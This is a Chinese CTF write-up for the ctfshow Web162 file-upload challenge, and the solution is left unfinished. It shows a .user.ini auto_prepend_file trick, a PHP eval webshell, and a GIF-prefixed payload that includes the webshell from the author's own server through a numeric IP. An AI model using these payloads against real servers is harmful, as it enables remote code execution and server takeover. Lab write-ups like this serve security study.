ctfshow(162)--文件上传漏洞--远程文件包含

Web162

进入界面:

思路

先传个文件测试一下过滤:
过滤了特别多符号,注意过滤了点.

我们的思路还是要先上传.user.ini文件:

php 复制代码
//修改前
GIF89a
auto_prepend_file=shell.png

//由于过滤了点,所以修改为
GIF89a
auto_prepend_file=shell

上传.user.ini文件

接下来就是上传包含一句话木马或恶意命令的shell文件。

因为过滤了点,所以我们之前的那些上传方法都不能使用。

这里学习一个新的上传方法:远程文件包含。

现在自己的服务器里写一个shell文件:

php 复制代码
<?php @eval($_POST[1]);?>

然后上传一个远程调用文件到目标靶机:

php 复制代码
GIF89a
<?=include"http://数字IP/shell"?>

这里的数字IP是指自己服务器的IP地址的纯数字形式.下面是相关脚本:

php 复制代码
#IP转换为长整型
def ip2long(ip):
    ip_list=ip.split('.') #⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制
    result = 0
    for i in range(4): #0,1,2,3
        result = result+int(ip_list[i])*256**(3-i)
    return result
 
#长整型转换为IP
def long2ip(long):
    floor_list = []
    num = long
    for i in reversed(range(4)):
        res = divmod(num,256**i)
        floor_list.append(str(res[0]))
        num = res[1]
    return '.'.join(floor_list)
 
print(ip2long('服务器ip地址'))

上传远程调用文件,后缀设置为.png,抓包修改文件名为shell,成功上传。访问/upload目录:
告警,大意是不允许包含外部网站的内容。

到这里卡住了,看了一些WP,说是要用flask。但是上述远程文件包含的思路是对的,使用flask的内容之后再补上。

相关推荐
Rytter4 小时前
某气骑士 libtprt.so 反 Frida 机制分析与绕过
android·安全·网络安全
天都3578 小时前
青少年ctf 日志排查 复盘
windows·网络安全·应急响应
X7x58 小时前
数字时代的守护者:抗DDoS设备构筑业务永续的基石
网络安全·网络攻击模型·安全威胁分析·ddos·安全架构
m0_7381207216 小时前
网路安全编程——熟悉并使用Scapy简单实现捕捉主流邮箱协议(SMTP、POP3和IMAP) 的身份凭证
网络·python·网络协议·tcp/ip·安全·网络安全
Aision_17 小时前
为什么 CTI 场景需要知识图谱?
人工智能·python·安全·web安全·langchain·prompt·知识图谱
HackTwoHub1 天前
AI大模型网关存在SQL注入、附 POC 复现、影响版本LiteLLM 1.81.16~1.83.7(CVE-2026-42208)
数据库·人工智能·sql·网络安全·系统安全·网络攻击模型·安全架构
其实防守也摸鱼1 天前
CTF密码学综合教学指南--第五章
开发语言·网络·笔记·python·安全·网络安全·密码学
HackTwoHub1 天前
全新 AI 赋能网安平台 基于 Mitmproxy 流量分析自动化资产挖、轻量化综合渗透工具箱
人工智能·web安全·网络安全·系统安全·安全架构·sql注入
HackTwoHub1 天前
Linux 内核史诗级本地提权 全网深度复现、原理完整分析( CVE-2026-31431)
linux·运维·安全·web安全·网络安全·代码审计·安全架构